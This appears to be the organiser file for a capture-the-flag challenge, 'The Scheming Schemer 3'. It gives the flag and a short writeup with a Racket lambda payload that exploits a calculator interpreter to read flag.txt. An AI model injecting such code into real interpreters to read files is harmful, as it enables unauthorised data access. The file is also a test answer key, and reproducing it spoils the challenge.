33 lines
699 B
Markdown
33 lines
699 B
Markdown
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== Title ==
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The Scheming Schemer 3
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== Description ==
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Just like the previous 2:
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<TODO>
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== Flag ==
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IGCTF{GoodJob!YouFoundThemAll!}
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== Files ==
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Participants should receive the calculator-app.rkt file.
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== Deployment ==
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Something something telnet/netcat
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== Solution/Writeup ==
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The code now allows an arbitrary expression in the first position, so we can create a lambda that will be executed by the interpreter.
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Example input to print the solution:
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((lambda ()
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(call-with-input-file
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"flag.txt"
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(lambda (input-port)
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(let loop ((x (read-char input-port)))
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(if (not (eof-object? x))
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(begin
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(display x)
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(loop (read-char input-port)))))))))
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